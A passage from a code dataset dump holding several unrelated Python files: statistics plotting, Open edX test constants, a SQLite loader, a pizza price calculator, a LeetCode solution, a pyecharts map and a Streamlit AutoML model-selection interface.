s_yx\nx_prime = sm.add_constant(cal_days)\nmodel = sm.OLS(y, x_prime)\nfit = model.fit()\ns_yx = np.sqrt(fit.mse_resid)\nss_x = ((cal_days - np.mean(cal_days)) ** 2.0).sum()\np_se = s_yx * np.sqrt(1 + (\n 1 / len(y)) + (\n (cal_days - (np.mean(cal_days)) ** 2.0) / ss_x))\nt_crit = stats.t.ppf(1 - 0.025,\n len(cal_days)-2)\n\npredict_up_err = linear_fit_y + (t_crit * p_se)\npredict_low_err = linear_fit_y - (t_crit * p_se)\n\n# Plot scatter for different from nominal value\nmrk_size = 10\nplt.scatter(data['Cal_Date'],\n y,\n color='b',\n marker='*',\n s=mrk_size)\n# Plot error bar\nplt.errorbar(data['Cal_Date'],\n y,\n yerr=data[\"Uncer_95\"],\n linestyle=\"None\",\n marker=\"None\",\n color=\"b\",\n # Change error bar's cap size\n capsize=mrk_size/5,\n # Change Error bar's thickness\n elinewidth=mrk_size/15)\n\n# # Horizontal Line of Zero\n# plt.axhline(y=0.0,\n# color='black',\n# linestyle='--',\n# linewidth=mrk_size/10,\n# label=\"Nomial\")\n\n# Plot linear approximation\nplt.plot(data['Cal_Date'],\n linear_fit_y,\n linestyle='--',\n linewidth=mrk_size/9,\n label=\"best_fit_scipy\")\n\n# Plot linear approximation\nplt.plot(data['Cal_Date'],\n predict_low_err,\n linestyle='--',\n linewidth=mrk_size/13,\n label=\"lower\")\n\nplt.plot(data['Cal_Date'],\n predict_up_err,\n linestyle='--',\n linewidth=mrk_size/13,\n label=\"upper\")\n\nplt.legend()\nplt.show()\n","repo_name":"kissme2020/Metrology_Forecaster","sub_path":"src/Fluke_732A.py","file_name":"Fluke_732A.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27956491314","text":"\"\"\"\nConstants used as test data.\n\"\"\"\n\nSTUDENT_ITEM = {\n 'student_id': '𝓽𝓮𝓼𝓽 𝓼𝓽𝓾𝓭𝓮𝓷𝓽',\n 'item_id': '𝖙𝖊𝖘𝖙 𝖎𝖙𝖊𝖒',\n 'course_id': 'ՇєรՇ ς๏ยгรє',\n 'item_type': 'openassessment'\n}\n\nANSWER = {'text': 'ẗëṡẗ äṅṡẅëṛ'}\n\nRUBRIC_OPTIONS = [\n {\n \"order_num\": 0,\n \"name\": \"𝒑𝒐𝒐𝒓\",\n \"explanation\": \"𝕻𝖔𝖔𝖗 𝖏𝖔𝖇!\",\n \"points\": 0,\n },\n {\n \"order_num\": 1,\n \"name\": \"𝓰𝓸𝓸𝓭\",\n \"explanation\": \"ﻭѻѻɗ ﻝѻ๒!\",\n \"points\": 1,\n },\n {\n \"order_num\": 2,\n \"name\": \"єχ¢єℓℓєηт\",\n \"explanation\": \"乇メc乇レレ乇刀イ フo乃!\",\n \"points\": 2,\n },\n]\n\nRUBRIC = {\n 'prompts': [{\"description\": \"МоъЎ-ↁіск; оѓ, ГЂэ ЩЂаlэ\"}],\n 'criteria': [\n {\n \"order_num\": 0,\n \"name\": \"vøȼȺƀᵾłȺɍɏ\",\n \"prompt\": \"Ħøw vȺɍɨɇđ ɨs ŧħɇ vøȼȺƀᵾłȺɍɏ?\",\n \"options\": RUBRIC_OPTIONS\n },\n {\n \"order_num\": 1,\n \"name\": \"ﻭɼค๓๓คɼ\",\n \"prompt\": \"𝕳𝖔𝖜 𝖈𝖔𝖗𝖗𝖊𝖈𝖙 𝖎𝖘 𝖙𝖍𝖊 𝖌𝖗𝖆𝖒𝖒𝖆𝖗?\",\n \"options\": RUBRIC_OPTIONS\n }\n ]\n}\n\nRUBRIC_POSSIBLE_POINTS = sum(\n max(\n option[\"points\"] for option in criterion[\"options\"]\n ) for criterion in RUBRIC[\"criteria\"]\n)\n\n# Used to generate OPTIONS_SELECTED_DICT. Indices refer to RUBRIC_OPTIONS.\nOPTIONS_SELECTED_CHOICES = {\n \"none\": [0, 0],\n \"few\": [0, 1],\n \"most\": [1, 2],\n \"all\": [2, 2],\n}\n\nOPTIONS_SELECTED_DICT = {\n # This dict is constructed from OPTIONS_SELECTED_CHOICES.\n # 'key' is expected to be a string, such as 'none', 'all', etc.\n # 'value' is a list, indicating the indices of the RUBRIC_OPTIONS selections that pertain to that key\n key: {\n \"options\": {\n RUBRIC[\"criteria\"][i][\"name\"]: RUBRIC_OPTIONS[j][\"name\"] for i, j in enumerate(value)\n },\n \"expected_points\": sum(\n RUBRIC_OPTIONS[i][\"points\"] for i in value\n )\n } for key, value in OPTIONS_SELECTED_CHOICES.items()\n}\n\nEXAMPLES = [\n {\n 'answer': (\n \"𝕿𝖍𝖊𝖗𝖊 𝖆𝖗𝖊 𝖈𝖊𝖗𝖙𝖆𝖎𝖓 𝖖𝖚𝖊𝖊𝖗 𝖙𝖎𝖒𝖊𝖘 𝖆𝖓𝖉 𝖔𝖈𝖈𝖆𝖘𝖎𝖔𝖓𝖘 𝖎𝖓 𝖙𝖍𝖎𝖘 𝖘𝖙𝖗𝖆𝖓𝖌𝖊 𝖒𝖎𝖝𝖊𝖉 𝖆𝖋𝖋𝖆𝖎𝖗 𝖜𝖊 𝖈𝖆𝖑𝖑 𝖑𝖎𝖋𝖊\"\n \" 𝖜𝖍𝖊𝖓 𝖆 𝖒𝖆𝖓 𝖙𝖆𝖐𝖊𝖘 𝖙𝖍𝖎𝖘 𝖜𝖍𝖔𝖑𝖊 𝖚𝖓𝖎𝖛𝖊𝖗𝖘𝖊 𝖋𝖔𝖗 𝖆 𝖛𝖆𝖘𝖙 𝖕𝖗𝖆𝖈𝖙𝖎𝖈𝖆𝖑 𝖏𝖔𝖐𝖊, 𝖙𝖍𝖔𝖚𝖌𝖍 𝖙𝖍𝖊 𝖜𝖎𝖙 𝖙𝖍𝖊𝖗𝖊𝖔𝖋\"\n \" 𝖍𝖊 𝖇𝖚𝖙 𝖉𝖎𝖒𝖑𝖞 𝖉𝖎𝖘𝖈𝖊𝖗𝖓𝖘, 𝖆𝖓𝖉 𝖒𝖔𝖗𝖊 𝖙𝖍𝖆𝖓 𝖘𝖚𝖘𝖕𝖊𝖈𝖙𝖘 𝖙𝖍𝖆𝖙 𝖙𝖍𝖊 𝖏𝖔𝖐𝖊 𝖎𝖘 𝖆𝖙 𝖓𝖔𝖇𝖔𝖉𝖞'𝖘 𝖊𝖝𝖕𝖊𝖓𝖘𝖊 𝖇𝖚𝖙 𝖍𝖎𝖘 𝖔𝖜𝖓.\"\n ),\n 'options_selected': {\n \"vøȼȺƀᵾłȺɍɏ\": \"𝓰𝓸𝓸𝓭\",\n \"ﻭɼค๓๓คɼ\": \"𝒑𝒐𝒐𝒓\",\n }\n },\n {\n 'answer': \"Tőṕ-héávӳ ẃáś thé śhíṕ áś á díńńéŕĺéśś śtúdéńt ẃíth áĺĺ Áŕíśtőtĺé íń híś héád.\",\n 'options_selected': {\n \"vøȼȺƀᵾłȺɍɏ\": \"𝒑𝒐𝒐𝒓\",\n \"ﻭɼค๓๓คɼ\": \"єχ¢єℓℓєηт\",\n }\n },\n]\n","repo_name":"openedx/edx-ora2","sub_path":"openassessment/assessment/test/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"70"} +{"seq_id":"23424847283","text":"import sqlite3\nfrom faker import Faker\nfrom os import path\nfrom data import newPerformance\nfrom data import subjectsName\n\n\ndef getConnection():\n return sqlite3.connect(path.join(path.dirname(__file__), 'db.sqlite3'))\n\n\nDB_SUBJECT_TABLE_NAME = 'subject'\nDB_STUDENT_TABLE_NAME = 'student'\nDB_STUDENT_PERFORMANCE_TABLE_NAME = 'student_performance'\nINSERT_CHUNK_LEN = 2000\n\n\ndef createDb(cursor):\n\n cursor.execute(\"CREATE TABLE IF NOT EXISTS %s(\"\n \"id VARCHAR PRIMARY KEY,\"\n \"name VARCHAR\"\n \")\" % DB_SUBJECT_TABLE_NAME)\n\n cursor.execute(\"CREATE TABLE IF NOT EXISTS %s(\"\n \"id VARCHAR,\"\n \"name VARCHAR,\"\n \"'group' INT,\"\n \"gender VARCHAR,\"\n \"PRIMARY KEY (id)\"\n \")\" % DB_STUDENT_TABLE_NAME)\n\n cursor.execute(\"CREATE TABLE IF NOT EXISTS %s(\"\n \"student_id VARCHAR,\"\n \"semester_id INT,\"\n \"subject_id VARCHAR,\"\n \"mark INT,\"\n \"FOREIGN KEY (student_id) REFERENCES %s (id)\"\n \"FOREIGN KEY (subject_id) REFERENCES %s (id)\"\n \")\" % (DB_STUDENT_PERFORMANCE_TABLE_NAME, DB_STUDENT_TABLE_NAME, DB_SUBJECT_TABLE_NAME))\n\n\ndef uniqueByField(collection, field):\n temp = []\n filteredData = []\n\n for item in collection:\n fieldValue = item[field]\n\n if fieldValue not in temp:\n filteredData.append(item)\n temp.append(fieldValue)\n\n return filteredData\n\n\ndef feelDb(cursor):\n fake = Faker()\n\n if not len(cursor.execute(\"SELECT * FROM %s\" % DB_STUDENT_TABLE_NAME).fetchall()) > 0:\n cursor.executemany(\n \"INSERT INTO %s VALUES(?, ?, ?, ?)\" % DB_STUDENT_TABLE_NAME,\n map(lambda item: (item['id'], item['name'], item['group'], item['gender']),\n uniqueByField(newPerformance, 'id')))\n\n if not len(cursor.execute(\"SELECT * FROM %s\" % DB_SUBJECT_TABLE_NAME).fetchall()) > 0:\n cursor.executemany(\n \"INSERT INTO %s VALUES(?, ?)\" % DB_SUBJECT_TABLE_NAME,\n map(lambda item: [item[0] + 1, item[1]], enumerate(subjectsName)))\n\n if not len(cursor.execute(\"SELECT * FROM %s\" % DB_STUDENT_PERFORMANCE_TABLE_NAME).fetchall()) > 0:\n for student in newPerformance:\n semCounter = 1\n\n for index, subjectName in enumerate(subjectsName):\n if index % 3 == 0 and index != 0:\n semCounter += 1\n\n cursor.execute(\n \"INSERT INTO %s VALUES(?, ?, ?, ?)\" % DB_STUDENT_PERFORMANCE_TABLE_NAME,\n [student['id'], semCounter, index + 1, student[subjectName]]\n )\n\n\nif __name__ == '__main__':\n with getConnection() as connection:\n cursor = connection.cursor()\n\n createDb(cursor)\n feelDb(cursor)\n\n connection.commit()\n","repo_name":"masters-degree/analysis","sub_path":"db/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17330915991","text":"import math\ndef pizzahinta(pizza, hinta):\n pizhin = hinta/(math.pi * (pizza / 2) ** 2)\n #print(f\"{pizhin} = {hinta}/(math.pi * ({pizza} / 2) ** 2)\")\n return pizhin\n\n\npizza = []\nhinta = []\nwhile len(pizza) <= 1:\n pizza.append(float(input(\"Anna pizzan halkaisija (cm): \")))\n hinta.append(float(input(\"Anna pizzan hinta (€): \")))\nhintapercm = [pizzahinta(pizz, hint) for pizz, hint in zip(pizza, hinta)]\nif hintapercm[0] < hintapercm[1]:\n print(f\"Ensimmäinen pizza on halvempi. {hintapercm[0]*100:.2f} snt/cm^2\")\nelif hintapercm[1] < hintapercm[0]:\n print(f\"Toinen pizza on halvempi. {hintapercm[1]*100:.2f} snt/cm^2\")\nelse:\n print(f\"Molemmat pizzat maksavat saman verran. {hintapercm[0]*100:.2f} snt/cm^2\")","repo_name":"Sirsam103/Ohjelmisto","sub_path":"O1/Moduuli 6/ht06.6.py","file_name":"ht06.6.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23512102901","text":"import numpy as np\n\n\ndef clean_axes(axes, remove_spines=[\"right\", \"top\"], ticksize=11):\n \"\"\"A couple basic changes I often make to pyplot axes. If input is an\n iterable of axes (e.g. from plt.subplots()), apply recursively.\"\"\"\n if hasattr(axes, \"__iter__\"):\n for a in axes:\n clean_axes(a, remove_spines=remove_spines)\n else:\n for r in remove_spines:\n axes.spines[r].set_visible(False)\n axes.tick_params(\n axis=\"both\",\n which=\"both\", # applies to major and minor\n **{r: False for r in remove_spines}, # remove ticks\n **{\"label%s\" % r: False for r in remove_spines} # remove labels\n )\n for ticks in axes.get_yticklabels():\n ticks.set_fontsize(ticksize)\n for ticks in axes.get_xticklabels():\n ticks.set_fontsize(ticksize)\n\n\ndef simple_beeswarm(y, nbins=None):\n \"\"\"\n Returns x coordinates for the points in ``y``, so that plotting ``x`` and\n ``y`` results in a bee swarm plot.\n Copied from https://stackoverflow.com/a/71498646\n \"\"\"\n y = np.asarray(y)\n if nbins is None:\n nbins = len(y) // 6\n\n # Get upper bounds of bins\n x = np.zeros(len(y))\n ylo = np.min(y)\n yhi = np.max(y)\n dy = (yhi - ylo) / nbins\n ybins = np.linspace(ylo + dy, yhi - dy, nbins - 1)\n\n # Divide indices into bins\n i = np.arange(len(y))\n ibs = [0] * nbins\n ybs = [0] * nbins\n nmax = 0\n for j, ybin in enumerate(ybins):\n f = y <= ybin\n ibs[j], ybs[j] = i[f], y[f]\n nmax = max(nmax, len(ibs[j]))\n f = ~f\n i, y = i[f], y[f]\n ibs[-1], ybs[-1] = i, y\n nmax = max(nmax, len(ibs[-1]))\n\n # Assign x indices\n dx = 1 / (nmax // 2)\n for i, y in zip(ibs, ybs):\n if len(i) > 1:\n j = len(i) % 2\n i = i[np.argsort(y)]\n a = i[j::2]\n b = i[j + 1 :: 2]\n x[a] = (0.5 + j / 3 + np.arange(len(b))) * dx\n x[b] = (0.5 + j / 3 + np.arange(len(b))) * -dx\n\n return x\n","repo_name":"geoffder/imaging-utils","sub_path":"plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31759449293","text":"import streamlit as st \r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\n\r\nfrom scripts.classifer import ClassifierModel\r\nfrom scripts.regressor import RegressorModel\r\nfrom scripts.clusterer import ClusteringModel\r\n\r\nclass ModelSelection():\r\n def __init__(self) -> None:\r\n self.model_selection_interface()\r\n\r\n def model_selection_interface(self):\r\n if os.path.exists(\"./assets/data/data.csv\"):\r\n df = pd.read_csv(\"./assets/data/data.csv\")\r\n model_type = st.selectbox('Model Type',['Regression','Classification','Clustering'])\r\n target = st.selectbox('Select target column',[None] + list(df.columns), 0)\r\n train_size = st.slider('Train size',min_value=0.,max_value=1. ,value=0.8)\r\n use_gpu = st.checkbox('Use GPU')\r\n preprocess = st.checkbox('Preprocess')\r\n\r\n if model_type == 'Clustering':\r\n st.header('Clustering Settings\\n---------------------')\r\n st.info('Target its treatead as Ground Truth')\r\n num_clusters = st.number_input('Number of clusters',value=4, step=1)\r\n options = ['K-means Clustering', 'Affinity Propagation', 'Mean shift Clustering', 'Spectral Clustering',\r\n 'Agglomerative Clustering', 'Density-Based Spatial Clustering', 'OPTICS Clustering', 'Birch Clustering',\r\n 'K-Modes Clustering']\r\n model_names = ['kmeans','ap','meanshift','sc','hclust','dbscan','optics','birch','kmodes']\r\n model = st.selectbox('Model to use',options,0)\r\n st.markdown('### Model Plotting options')\r\n plot_choice = st.selectbox('Plot type',['elbow','cluster','tsne','silhouette','distance','distribution'],1)\r\n feature_choice = st.selectbox('Feature to plot',df.columns,0)\r\n\r\n for option in options:\r\n if model == option:\r\n model = model_names[options.index(option)]\r\n elif model_type == 'Classification':\r\n comparison_metric = st.selectbox('Metric to compare models',['Accuracy','AUC','F1','Recall','Prec.'])\r\n\r\n elif model_type == 'Regression':\r\n comparison_metric = st.selectbox('Metric to compare models',['R2','MAE','MSE','RMSE','MAPE'])\r\n \r\n \r\n \r\n \r\n\r\n #Preprocessing\r\n if preprocess:\r\n st.header('Preprocessing\\n---------------------')\r\n seed = st.number_input('Seed',0)\r\n #Categorical features\r\n st.header('Categorical Columns Setup')\r\n st.info('* Categorical features that are not listed as ordinal will be one-hot encoded. \\n* Drops duplicates automatically.')\r\n\r\n categorical_features = st.multiselect('Input Categorical features',[col for col in df.columns if col != target])\r\n categorical_imputation = st.selectbox('How would missing categorical features be imputed',['constant','mode'],0)\r\n ignore_low_variance = st.checkbox('Ignore low variance')\r\n st.info('When set to True, all categorical features with insignificant variances are removed from the data. The variance is calculated using the ratio of unique values to the number of samples, and the ratio of the most common value to the frequency of the second most common value.')\r\n \r\n combine_rare_levels = st.checkbox('combine features with that are below a certain threshold') \r\n rare_level_threshold = st.slider('rare features threshold',0.,1.,0.1)\r\n #ordinal\r\n ordinal_features = st.multiselect('Input Ordinal columns',categorical_features)\r\n ordinal_features_setted = {}\r\n if ordinal_features:\r\n for feature in ordinal_features:\r\n ordinal_features_setted[feature] = st.multiselect(f'Select the order of values for {feature} starting from lower to higher',df[feature].unique())\r\n if len(ordinal_features_setted[feature]) < len(df[feature].unique()):\r\n missing = []\r\n for i in ordinal_features_setted[feature]:\r\n if (i != np.nan) and (i not in df[feature].unique()):\r\n missing.append(i)\r\n if len(missing)>0:\r\n st.warning('There are some values missing')\r\n if len(ordinal_features_setted[feature]) > len(df[feature].unique()):\r\n st.warning('There are some extra values')\r\n\r\n high_cardinality_features = st.multiselect('Input High cardinality features',categorical_features)\r\n high_cardinality_method = st.selectbox(\"Select how will high cardinalty features get imputed\",['frequency','clustering'],0)\r\n \r\n #Numerical Features\r\n st.header('Numerical Columns Setup')\r\n num_features = st.multiselect('Input Numerical features',[col for col in df.columns if col not in categorical_features])\r\n numeric_imputation = st.selectbox('How would missing numerical features be inputed',['mean','median','zero'],0)\r\n normalize = st.checkbox('Normalize')\r\n st.info(\"* zscore: is calculated as z = (x - u) / s\\n\\n* minmax: scales and translates each feature individually such that it is in the range of 0 - 1.\\n\\n* maxabs: scales and translates each feature individually such that the maximal absolute value of each feature will be 1.0.\\n It does not shift/center the data, and thus does not destroy any sparsity.\\n\\n* robust: scales and translates each feature according to the Interquartile range.\\n When the dataset contains outliers, robust scaler often gives better results.\")\r\n normalize_method = st.selectbox('Normalize method',['zscore','minmax','maxabs','robust'],0)\r\n if model_type != 'Clustering':\r\n remove_outliers = st.checkbox('remove outliers')\r\n st.info('Removes outliers using the Singular Value Decomposition.') \r\n outliers_threshold = st.slider('Outlier threshold',0.,1.,0.05)\r\n \r\n #Date Features\r\n st.header('Date Features')\r\n date_features = st.multiselect('Input datetime format columns',[col for col in df.columns if (col not in categorical_features) and (col not in num_features)])\r\n #ignore cols\r\n st.header('Features to Ignore')\r\n ignore_features = st.multiselect('Input columns to ignore during model training',list(df.columns))\r\n if target in ignore_features:\r\n st.error(f'The target feature \"{target}\" is going to be ignored')\r\n for feature in categorical_features:\r\n if feature in ignore_features:\r\n st.error(f'The categorical feature {feature} is going to be ignored')\r\n for feature in num_features:\r\n if feature in ignore_features:\r\n st.error(f'The numerical feature {feature} is going to be ignored')\r\n null_rows_to_drop = st.multiselect('Drop rows that contain null values in cols:',list(df.columns))\r\n\r\n #Resto de las columnas\r\n st.header('Handle unkown columns')\r\n st.info('For the columns that not chosen in any of the sections above')\r\n handle_unknown_categorical = st.checkbox('Handle unknown categorical', True)\r\n unknown_categorical_method = st.selectbox('Method',['least_frequent','most_frequent'],0)\r\n\r\n #Model specific preprocessing\r\n if model_type == 'Classification':\r\n st.header('Classification specific settings')\r\n balance_ds = st.checkbox('Balance Dataset')\r\n st.warning(\"Balancing feature it's disabled due to a library bug https://stackoverflow.com/questions/73362136/unboundlocalerror-local-variable-fix-imbalance-model-name-referenced-before-a\")\r\n balance_select = st.selectbox('Balance method',['SMOTENC', 'SMOTE', 'RandomOverSampler', 'ADASYN', 'KMeansSMOTE', 'SVMSMOTE'],0)\r\n if balance_select == 'SMOTENC':\r\n st.info(\"Synthetic Minority Over-sampling Technique for Nominal and Continuous.\\nUnlike SMOTE, SMOTE-NC is for a dataset containing numerical and categorical features. However, it is not designed to work with only categorical features.\")\r\n if balance_select == 'SMOTE':\r\n st.info(\"Only accepts numerical variables.\")\r\n if balance_select == 'RandomOverSampler':\r\n st.info(\"Object to over-sample the minority class(es) by picking samples at random with replacement. The bootstrap can be generated in a smoothed manner.\")\r\n if balance_select == 'ADASYN':\r\n st.info(\"This method is similar to SMOTE but it generates different number of samples depending on an estimate of the local distribution of the class to be oversampled.\")\r\n if balance_select == 'KMeansSMOTE':\r\n st.info(\"Apply a KMeans clustering before to over-sample using SMOTE.\")\r\n if balance_select == 'SVMSMOTE':\r\n st.info(\"Variant of SMOTE algorithm which use an SVM algorithm to detect sample to use for generating new synthetic samples\")\r\n \r\n \r\n #Train Models\r\n if st.button('Train model'):\r\n if preprocess:\r\n df = df.drop_duplicates()\r\n df[null_rows_to_drop] = df[null_rows_to_drop].dropna()\r\n\r\n if model_type == 'Classification' and preprocess:\r\n ClassifierModel(df, target= target, use_gpu= use_gpu, preprocess= preprocess,\r\n categorical_features= categorical_features, categorical_imputation= categorical_imputation, ignore_low_variance= ignore_low_variance,\r\n combine_rare_levels= combine_rare_levels, rare_level_threshold= rare_level_threshold,ordinal_features= ordinal_features_setted,\r\n high_cardinality_features= high_cardinality_features, high_cardinality_method= high_cardinality_method, numeric_features= num_features,\r\n numeric_imputation= numeric_imputation, normalize= normalize, normalize_method= normalize_method, remove_outliers=remove_outliers,\r\n outliers_threshold= outliers_threshold, date_features= date_features, ignore_features=ignore_features,\r\n handle_unknown_categorical= handle_unknown_categorical, unknown_categorical_method = unknown_categorical_method,seed=seed,\r\n balance_select=balance_select, balance_ds= balance_ds,train_size=train_size,comparison_metric=comparison_metric)\r\n \r\n elif model_type == 'Regression' and preprocess:\r\n RegressorModel(df, target= target, silent= True, use_gpu= use_gpu, preprocess= preprocess,\r\n categorical_features= categorical_features, categorical_imputation= categorical_imputation,\r\n ignore_low_variance= ignore_low_variance, combine_rare_levels= combine_rare_levels,\r\n rare_level_threshold= rare_level_threshold,ordinal_features= ordinal_features_setted,\r\n high_cardinality_features= high_cardinality_features, high_cardinality_method= high_cardinality_method,\r\n numeric_features= num_features, numeric_imputation= numeric_imputation,\r\n normalize= normalize, normalize_method= normalize_method, remove_outliers=remove_outliers,\r\n outliers_threshold= outliers_threshold, date_features= date_features, \r\n ignore_features=ignore_features, handle_unknown_categorical= handle_unknown_categorical,\r\n unknown_categorical_method = unknown_categorical_method,seed=seed,\r\n train_size= train_size, comparison_metric= comparison_metric,\r\n )\r\n elif model_type == 'Clustering' and preprocess:\r\n ClusteringModel(\r\n df, silent= True, use_gpu= use_gpu, preprocess= preprocess,\r\n categorical_features= categorical_features, categorical_imputation= categorical_imputation,\r\n ignore_low_variance= ignore_low_variance, combine_rare_levels= combine_rare_levels,\r\n rare_level_threshold= rare_level_threshold,ordinal_features= ordinal_features_setted,\r\n high_cardinality_features= high_cardinality_features, high_cardinality_method= high_cardinality_method,\r\n numeric_features= num_features, numeric_imputation= numeric_imputation,\r\n normalize= normalize, normalize_method= normalize_method, date_features= date_features, \r\n ignore_features=ignore_features, handle_unknown_categorical= handle_unknown_categorical,\r\n unknown_categorical_method = unknown_categorical_method,seed=seed,\r\n ground_truth=target,plot_choice=plot_choice,feature_choice=feature_choice,\r\n num_clusters=num_clusters,model=model\r\n )\r\n elif model_type == 'Classification' and not preprocess:\r\n ClassifierModel(df, target= target, use_gpu= use_gpu,train_size= train_size,comparison_metric=comparison_metric, preprocess= False)\r\n elif model_type == 'Regression' and not preprocess:\r\n RegressorModel(df, target= target, use_gpu= use_gpu,train_size= train_size,comparison_metric=comparison_metric, preprocess= False)\r\n elif model_type == 'Clustering' and not preprocess:\r\n ClusteringModel(df,use_gpu= use_gpu, ground_truth=target,num_clusters=num_clusters,model=model, preprocess= False)\r\n \r\n else:\r\n st.warning(\"No dataset Loaded\")","repo_name":"Lemonpi3/Auto-ML-app","sub_path":"modelselectioninterface.py","file_name":"modelselectioninterface.py","file_ext":"py","file_size_in_byte":14599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24727729953","text":"from django.urls import path\nfrom . import views\n\napp_name='App_Posts'\n\n\nurlpatterns=[\n path('',views.home,name='index'),\n path('like/',views.liked,name='like'),\n path('unlike/',views.unliked,name='unlike'),\n]\n","repo_name":"safwan72/djang-social-basic","sub_path":"App_Posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26232002168","text":"# You are given row x col grid representing a map where grid[i][j] = 1 represents land\n# and grid[i][j] = 0 represents water.\n#\n# Grid cells are connected horizontally/vertically (not diagonally).\n# The grid is completely surrounded by water, and there is exactly one island.\n# The island doesn't have \"lakes\"\n\n\nimport unittest\nfrom my_utils.utils import get_neighbours\n\n\nclass Solution:\n def islandPerimeter(self, grid: list[list[int]]) -> int:\n result = 0\n\n size_x = len(grid)\n size_y = len(grid[0])\n\n start = (0, 0)\n for i in range(size_x):\n found = False\n for j in range(size_y):\n if grid[i][j] == 1:\n start = (i, j)\n found = True\n break\n if found:\n break\n\n processed = set()\n cells_analyze = {start}\n while cells_analyze:\n curr = cells_analyze.pop()\n processed.add(curr)\n neighbours = get_neighbours(curr[0], curr[1], size_x, size_y)\n result += 4 - len(neighbours)\n for neigh in neighbours:\n if grid[neigh[0]][neigh[1]] == 0:\n result += 1\n elif neigh not in processed:\n cells_analyze.add(neigh)\n return result\n\n\nclass TestSolution(unittest.TestCase):\n def test_islandPerimeter(self):\n solution = Solution()\n self.assertEqual(16, solution.islandPerimeter([[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]]))\n self.assertEqual(4, solution.islandPerimeter([[1]]))\n self.assertEqual(4, solution.islandPerimeter([[1, 0]]))\n self.assertEqual(8, solution.islandPerimeter([[1, 1], [1, 1]]))\n","repo_name":"ollaidh/practice-py","sub_path":"leetcode/test_463_island_perimeter.py","file_name":"test_463_island_perimeter.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17471974132","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 24 10:16:51 2018\r\n\r\n@author: ASUS\r\n\"\"\"\r\nfrom pyecharts import Map\r\n\r\nf = open(\"loc_sales.txt\",'r',encoding='utf-8')\r\nfile = f.readlines()\r\n\r\nattr = []\r\nvalue = []\r\n\r\nfor i in range(0,len(file)):\r\n attr.append(file[i].split(',')[0])\r\n value.append(int(file[i].split(',')[1]))\r\n\r\nmap = Map(\"Map 结合 VisualMap 示例\", width=1440, height=700)\r\nmap.add(\"\", attr, value, maptype='china', is_visualmap=True,\r\n is_piecewise = True, visual_text_color='#000',\r\n is_label_show = True,is_label_emphasis = True,\r\n pieces = [\r\n {'min': 1000000,},#, 'color': 'red'\r\n {'min': 100000, 'max': 999999},#, 'color': 'orange'\r\n {'min': 10000, 'max': 99999},#, 'color': 'yellow'\r\n {'min': 1000, 'max': 9999},#, 'color': 'blue'\r\n {'min': 100, 'max': 999,},# 'color': 'green'\r\n {'max': 99,}# 'color': 'grey'\r\n ])\r\nmap.render()","repo_name":"huchaoo/PythonScalaBigDataProject","sub_path":"Visualize_Data.py","file_name":"Visualize_Data.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25731541116","text":"import os\nimport glob\nimport numpy as np\nimport scipy\nimport matplotlib\nimport matplotlib.pylab as plt\nimport datetime\nimport time\nimport random\nimport astropy\nfrom astropy.io import fits\nfrom astropy import units as u\nfrom astropy import table\nimport pdb\nplt.rcParams['figure.figsize'] = (12,8)\n\ndef plotData(NQuery,table,FigureStrBase,SurfMin,SurfMax,VDispMin,VDispMax,RadMin,RadMax) :\n \"\"\"\n This is where documentation needs to be added\n\n Parameters\n ----------\n NQuery\n FigureStrBase : str\n The start of the output filename, e.g. for \"my_file.png\" it would be\n my_file\n SurfMin\n SurfMax\n VDispMin\n VDispMax\n RadMin\n RadMax\n \"\"\"\n \n plt.clf()\n\n # d = table.Table.read(\"merged_table.ipac\", format='ascii.ipac')\n d = table\n Author = d['Names']\n Run = d['IDs']\n SurfDens = d['SurfaceDensity']\n VDisp = d['VelocityDispersion']\n Rad = d['Radius']\n IsSim = (d['IsSimulated'] == 'True')\n \n UseSurf = (SurfDens > SurfMin) & (SurfDens < SurfMax)\n UseVDisp = (VDisp > VDispMin) & (VDisp < VDispMax)\n UseRad = (Rad > RadMin) & (Rad < RadMax)\n Use = UseSurf & UseVDisp & UseRad\n Obs = (~IsSim) & Use\n Sim = IsSim & Use\n \n UniqueAuthor = set(Author[Use])\n NUniqueAuthor = len(UniqueAuthor)\n \n #colors = random.sample(matplotlib.colors.cnames, NUniqueAuthor)\n colors = list(plt.cm.jet(np.linspace(0,1,NUniqueAuthor)))\n random.shuffle(colors)\n \n plt.loglog()\n markers = ['o','s']\n for iAu,color in zip(UniqueAuthor,colors) :\n UsePlot = (Author == iAu) & Use\n ObsPlot = ((Author == iAu) & (~IsSim)) & Use \n SimPlot = ((Author == iAu) & (IsSim)) & Use\n if any(ObsPlot):\n plt.scatter(SurfDens[ObsPlot], VDisp[ObsPlot], marker=markers[0],\n s=(np.log(np.array(Rad[ObsPlot]))-np.log(np.array(RadMin))+0.5)**3.,\n color=color, alpha=0.5)\n if any(SimPlot):\n plt.scatter(SurfDens[SimPlot], VDisp[SimPlot], marker=markers[1],\n s=(np.log(np.array(Rad[SimPlot]))-np.log(np.array(RadMin))+0.5)**3.,\n color=color, alpha=0.5)\n if any(Obs):\n plt.scatter(SurfDens[Obs], VDisp[Obs], marker=markers[0],\n 